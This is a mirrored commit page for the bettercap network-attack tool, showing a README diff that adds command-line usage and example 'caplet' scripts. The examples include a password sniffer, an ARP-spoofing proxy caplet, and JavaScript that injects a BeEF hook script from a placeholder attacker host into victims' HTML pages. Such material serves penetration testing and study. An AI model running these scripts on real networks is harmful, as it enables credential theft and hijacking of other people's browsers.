mirror of
https://github.com/bettercap/bettercap
synced 2025-07-16 10:03:39 -07:00
docs: readme update
This commit is contained in:
parent
f0614395d8
commit
fe5f422aa6
2 changed files with 111 additions and 3 deletions
112
README.md
112
README.md
|
@ -24,9 +24,117 @@ Make sure you have a correctly configured Go >= 1.8 environment and the `libpcap
|
||||||
|
|
||||||
To show the command line options:
|
To show the command line options:
|
||||||
|
|
||||||
sudo ./bettercap-ng -h
|
# sudo ./bettercap-ng -h
|
||||||
|
|
||||||
|
Usage of ./bettercap-ng:
|
||||||
|
-caplet string
|
||||||
|
Read commands from this file and execute them in the interactive session.
|
||||||
|
-debug
|
||||||
|
Print debug messages.
|
||||||
|
-eval string
|
||||||
|
Run a command, used to set variables via command line.
|
||||||
|
-iface string
|
||||||
|
Network interface to bind to.
|
||||||
|
-no-history
|
||||||
|
Disable history file.
|
||||||
|
-silent
|
||||||
|
Suppress all logs which are not errors.
|
||||||
|
|
||||||
To have an idea of what commands you can use once `bettercap-ng` is started, take a look at the `caplets` scripts folder, each of those commands can be either manually entered during the interactive session, or scripted and loaded from `.cap` files.
|
## Caplets
|
||||||
|
|
||||||
|
Interactive sessions can be scripted with `.cap` files, or `caplets`, the following are a few basic examples, look the `caplets` folder for more.
|
||||||
|
|
||||||
|
#### caplets/simple-password-sniffer.cap
|
||||||
|
|
||||||
|
Simple password sniffer.
|
||||||
|
|
||||||
|
```sh
|
||||||
|
# keep reading arp table for network mapping
|
||||||
|
net.recon on
|
||||||
|
# setup a regular expression for packet payloads
|
||||||
|
set net.sniffer.regexp .*password=.+
|
||||||
|
# set the sniffer output file
|
||||||
|
set net.sniffer.output passwords.pcap
|
||||||
|
# start the sniffer
|
||||||
|
net.sniffer on
|
||||||
|
```
|
||||||
|
|
||||||
|
#### caplets/rest-api.cap
|
||||||
|
|
||||||
|
Start a rest API.
|
||||||
|
|
||||||
|
```sh
|
||||||
|
# change these!
|
||||||
|
set api.rest.username bcap
|
||||||
|
set api.rest.password bcap
|
||||||
|
# set api.rest.port 8082
|
||||||
|
|
||||||
|
# actively probe network for new hosts
|
||||||
|
net.probe on
|
||||||
|
net.recon on
|
||||||
|
|
||||||
|
# enjoy /api/session and /api/events
|
||||||
|
api.rest on
|
||||||
|
```
|
||||||
|
|
||||||
|
Get information about the current session:
|
||||||
|
|
||||||
|
curl -k --user bpcap:bcap https://bettercap-ip:8083/api/session
|
||||||
|
|
||||||
|
Execute a command in the current interactive session:
|
||||||
|
|
||||||
|
curl -k --user bcap:bcap https://bettercap-ip:8083/api/session -H "Content-Type: application/json" -X POST -d '{"cmd":"net.probe on"}'
|
||||||
|
|
||||||
|
Get last 50 events:
|
||||||
|
|
||||||
|
curl -k --user bpcap:bcap https://bettercap-ip:8083/api/events?n=50
|
||||||
|
|
||||||
|
Clear events:
|
||||||
|
|
||||||
|
curl -k --user bpcap:bcap -X DELETE https://bettercap-ip:8083/api/events
|
||||||
|
|
||||||
|
#### caplets/beef-inject.cap
|
||||||
|
|
||||||
|
Use a proxy script to inject a BEEF javascript hook:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
# targeting the whole subnet by default, to make it selective:
|
||||||
|
#
|
||||||
|
# sudo ./bettercap-ng -caplet caplets/beef-active.cap -eval "set arp.spoof.targets 192.168.1.64"
|
||||||
|
|
||||||
|
# inject beef hook
|
||||||
|
set http.proxy.script caplets/beef-inject.js
|
||||||
|
# keep reading arp table for network mapping
|
||||||
|
net.recon on
|
||||||
|
# redirect http traffic to a proxy
|
||||||
|
http.proxy on
|
||||||
|
# wait for everything to start properly
|
||||||
|
sleep 1
|
||||||
|
# make sure probing is off as it conflicts with arp spoofing
|
||||||
|
arp.spoof on
|
||||||
|
```
|
||||||
|
|
||||||
|
The `caplets/beef.inject.js` proxy script file:
|
||||||
|
|
||||||
|
```javascript
|
||||||
|
function onLoad() {
|
||||||
|
console.log( "BeefInject loaded." );
|
||||||
|
console.log("targets: " + env['arp.spoof.targets']);
|
||||||
|
}
|
||||||
|
|
||||||
|
function onResponse(req, res) {
|
||||||
|
if( res.ContentType.indexOf('text/html') == 0 ){
|
||||||
|
var body = res.ReadBody();
|
||||||
|
if( body.indexOf('</head>') != -1 ) {
|
||||||
|
res.Body = body.replace(
|
||||||
|
'</head>',
|
||||||
|
'<script type="text/javascript" src="http://your-beef-box:3000/hook.js"></script></head>'
|
||||||
|
);
|
||||||
|
res.Updated();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
## License
|
## License
|
||||||
|
|
||||||
|
|
|
@ -14,7 +14,7 @@ type Options struct {
|
||||||
func ParseOptions() (Options, error) {
|
func ParseOptions() (Options, error) {
|
||||||
o := Options{
|
o := Options{
|
||||||
InterfaceName: flag.String("iface", "", "Network interface to bind to."),
|
InterfaceName: flag.String("iface", "", "Network interface to bind to."),
|
||||||
Caplet: flag.String("caplet", "", "Read commands from this file instead of goin into interactive mode."),
|
Caplet: flag.String("caplet", "", "Read commands from this file and execute them in the interactive session."),
|
||||||
Debug: flag.Bool("debug", false, "Print debug messages."),
|
Debug: flag.Bool("debug", false, "Print debug messages."),
|
||||||
Silent: flag.Bool("silent", false, "Suppress all logs which are not errors."),
|
Silent: flag.Bool("silent", false, "Suppress all logs which are not errors."),
|
||||||
NoHistory: flag.Bool("no-history", false, "Disable history file."),
|
NoHistory: flag.Bool("no-history", false, "Disable history file."),
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue